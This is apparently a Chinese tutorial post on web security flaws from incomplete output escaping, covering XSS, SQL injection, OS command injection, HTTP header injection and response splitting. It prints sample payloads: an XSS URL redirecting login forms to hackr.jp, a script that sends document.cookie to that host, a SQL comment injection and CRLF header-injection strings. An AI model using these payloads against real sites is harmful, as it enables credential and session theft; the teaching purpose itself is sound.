HTTP基础10--web(2)
因输出值转义不完全引发的安全漏洞###
实施 Web 应用的安全对策可大致分为以下两部分。
客户端的验证
Web 应用端(服务器端)的验证: 输入值验证 / 输出值转义
客户端允许篡改数据或关闭 JavaScript,不适合将 JavaScript 验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误,起到提高 UI 体验的作用。
Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。
从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。
跨站脚本攻击###
跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。
利用虚假输入表单骗取用户个人信息。
利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
显示伪造的文章或图片。
跨站脚本攻击案例###
在动态生成 HTML 处发生:###
XSS 是攻击者利用预先设置的陷阱触发的被动攻击###
下图网站通过地址栏中 URI 的查询字段指定 ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。
隐藏植入事先准备好的欺诈邮件中或 Web 页面内,诱使用户去点击该 URL。
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="
浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站(也就是 hackr.jp),导致个人登录信息被窃取。
之后,ID 及密码会传给该正规网站,而接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄露。
对用户 Cookie 的窃取攻击###
除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的 Cookie 信息。
<script src=http://hackr.jp/xss.js></script>
该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用 JavaScript 编写的代码。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序,即可访问到该 Web 应用所处域名下的 Cookie 信息。然 后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/),记录在他的登录日志中。结果,攻击者就这样窃取到用户的 Cookie 信息了。
SQL 注入攻击###
指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击;如果在调用 SQL 语句的方式上存在疏漏,就有可能执行被恶意注入(Injection)非法 SQL 语句。
SQL 注入攻击有可能会造成以下等影响。
非法查看或篡改数据库内的数据
规避认证
执行和数据库服务器业务关联的程序等
SQL 注入攻击案例###
下面以某个购物网站的搜索功能为例,讲解 SQL 注入攻击。通过该功能,我们可以将某作者的名字作为搜索关键字,查找该作者的所有著作。
- 正常处理的操作示例
URL 的查询字段已指定 q= 上野宣,这个值由 Web 应用传入到 SQL 语句中,构成下方的 SQL 语句。
SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;
该 SQL 语句表示“从 bookTbl 表中,显示满足 author= 上野宣 and flag=1(可售)所在行的数据”。
- SQL 注入攻击的操作示例
把刚才指定查询字段的上野宣改写成“上野宣'--”。
构成的 SQL 语句就变成“从数据库的 bookTbl 表中,显示满足 author= 上野宣条件所在行的数据”,如下所示。
SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;
SQL 语句中的 -- 之后全视为注释。即,and flag=1 这个条件被自动忽略了。
OS 命令注入攻击###
指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。倘若调用 Shell 时存在疏漏,就可以执行插入的非法 OS 命令。
HTTP 首部注入攻击###
HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式;向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTP Response Splitting Attack);如下所示,Web 应用有时会把从外部接收到的数值,赋给响应首部字段 Location 和 Set-Cookie。
Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
*12345就是插入值
HTTP 首部注入攻击有可能会造成以下一些影响。
设置任何 Cookie 信息
重定向至任意 URL
显示任意的主体(HTTP 响应截断攻击)
HTTP 首部注入攻击案例###
以选定某个类别后即可跳转至各类别对应页面的功能为例。该功能为每个类别都设定了一个类别 ID 值,一旦选定某类别,就会将该 ID 值反映在响应内的 Location 首部字段内,形如 Location: http://example.com/?cat=101。令浏览器发生重定 向跳转。
攻击者以下面的内容替代之前的类别 ID 后发送请求。
101%0D%0ASet-Cookie:+SID=123456789
其中,%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段;发送该请求之后,假设结果返回以下响应。
Location: http://example.com/?cat=101(%0D%0A :换行符)
Set-Cookie: SID=123456789
此刻,首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户;攻击者输入的 %0D%0A,原本应该属于首部字段 Location 的查询值部分,但经过解析后,%0D%0A 变成了换行符,结果插入了新的首部字段;这样一来,攻击者可在响应中插入任意的首部字段。
HTTP 响应截断攻击###
HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同,但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做 HTTP 响应截断攻击。
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容 <!--
在可能进行 HTTP 首部注入的环节,通过发送上面的字符串,返回结果得到以下这种响应。
Set-Cookie: UID=(%0D%0A :换行符)
(%0D%0A :换行符)
<HTML><HEAD><TITLE>之后,**想要显示的网页内容 <!--(原来页面对应的首部字段和主体部分全视为注释)
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的 Web 页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果。
另外,滥用 HTTP/1.1 中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的 Web 网页。
HTTP基础10--web(2)的更多相关文章
- HTML5零基础学习Web前端需要知道哪些?
HTML零基础学习Web前端网页制作,首先是要掌握一些常用标签的使用和他们的各个属性,常用的标签我总结了一下有以下这些: html:页面的根元素. head:页面的头部标签,是所有头部元素的容器. b ...
- 01 基础版web框架
01 基础版web框架 服务器server端python程序(基础版): import socket server=socket.socket() server.bind(("127.0.0 ...
- J2EE基础之Web服务简介
J2EE基础之Web服务简介 1.什么是Web服务? 在人们的日常生活中,经常会查询网页上某城市的天气信息,这些信息都是动态的.实时的,它是专业的气象站提供的一种服务.例如,在网上购物时,通常采用网上 ...
- [.net 面向对象编程基础] (10) 类的成员(字段、属性、方法)
[.net 面向对象编程基础] (10) 类的成员(字段.属性.方法) 前面定义的Person的类,里面的成员包括:字段.属性.方法.事件等,此外,前面说的嵌套类也是类的成员. a.类的成员为分:静态 ...
- Spring基础系列-Web开发
原创作品,可以转载,但是请标注出处地址:https://www.cnblogs.com/V1haoge/p/9996902.html SpringBoot基础系列-web开发 概述 web开发就是集成 ...
- 十. Python基础(10)--装饰器
十. Python基础(10)--装饰器 1 ● 装饰器 A decorator is a function that take a function as an argument and retur ...
- 『Python基础-10』字典
# 『Python基础-10』字典 目录: 1.字典基本概念 2.字典键(key)的特性 3.字典的创建 4-7.字典的增删改查 8.遍历字典 1. 字典的基本概念 字典一种key - value 的 ...
- Apache Shiro:【1】Shiro基础及Web集成
Apache Shiro:[1]Shiro基础及Web集成 Apache Shiro是什么 Apache Shiro是一个强大且易于使用的Java安全框架,提供了认证.授权.加密.会话管理,与spri ...
- 万门大学Python零基础10天进阶班视频教程
点击了解更多Python课程>>> 万门大学Python零基础10天进阶班视频教程 课程简介: 旨在通过两周的学习,让学生不仅能掌握python编程基础从而进行计算机程序的开发, 还 ...
- 零基础转行web前端,如何高效的去学习web前端
web前端开发要学的知识内容涉及的会很宽泛,虽然说主要是HTML.CSS和JavaScript这些基础知识点,但学前端开发除了要学这些基础知识外,学员还要在这之上进行延伸和深入的去学,而且互联网时代不 ...
随机推荐
- python2.7之MySQLdb模块 for linux安装
1.下载:MySQL-pythonhttp://sourceforge.net/projects/mysql-python/files/mysql-python-test/1.2.3b1/MySQL- ...
- Excel计算一列的和sum(A:A)
在公式中输入=sum(A2:A6),计算的是A列2-6行的和 =sum(A:A)计算的是A列全部的和
- -bash: pod: command not found
OS X 系统没升级之前用的 cocoapods 一点儿问题都没有,但是升级成版本10.11.4 OS X EI Capitan之后,在终端除了cd 指令可以用之外,其他任何指令输入都是提示-bash ...
- Web上的支持的图片格式以及它们之间的区别
一.GIF(图形交换格式) GIF格式的图片最多只能保存256中颜色,该格式支持透明色,支持动画效果. 二.JPEG(联合图像专家组) JPEG格式不支持透明色及动画,颜色可达1670种. 三.PNG ...
- 3dmax导出3ds具有过多要导出的面超过64k解决方法
参考:http://blog.sina.com.cn/s/blog_7a71dd090100w3r0.html 修改器->网格编辑->ProOptimizer 选中对象, 原始模型 顶点数 ...
- python 获取启动参数
pytho软件编写过程中,会经常使用带参数的启动脚本,这里记载下如何获取输入的参数. 使用sys.argv可获取启动时输入的所有参数,这个是数组,直接使用[]就可以获取,[0]代表的是启动文件时输入的 ...
- IE11 的区别
http://msdn.microsoft.com/zh-tw/visualc/bg182625
- XMPP框架下微信项目总结(3)获取点子名片信息(个人资料)更新电子名片
思路:1 调用方法,添加点子名片模块(名片信息含电话,头像,单位个人信息)等 开启ps:APP发送请求到服务器openfire,服务器返回个人信息,app存储到数据库,app界面需要数据通过数据库获取 ...
- strlen与sizeof
strlen计算不包括终止符null字节的字符串长度,而sizeof则计算包括终止null字节的长度.另一个差别,strlen需要一次函数调用,而sizeof在编译时计算缓冲区长度.
- Hbernate映射类型
对应oracle中的数据库:用timestamp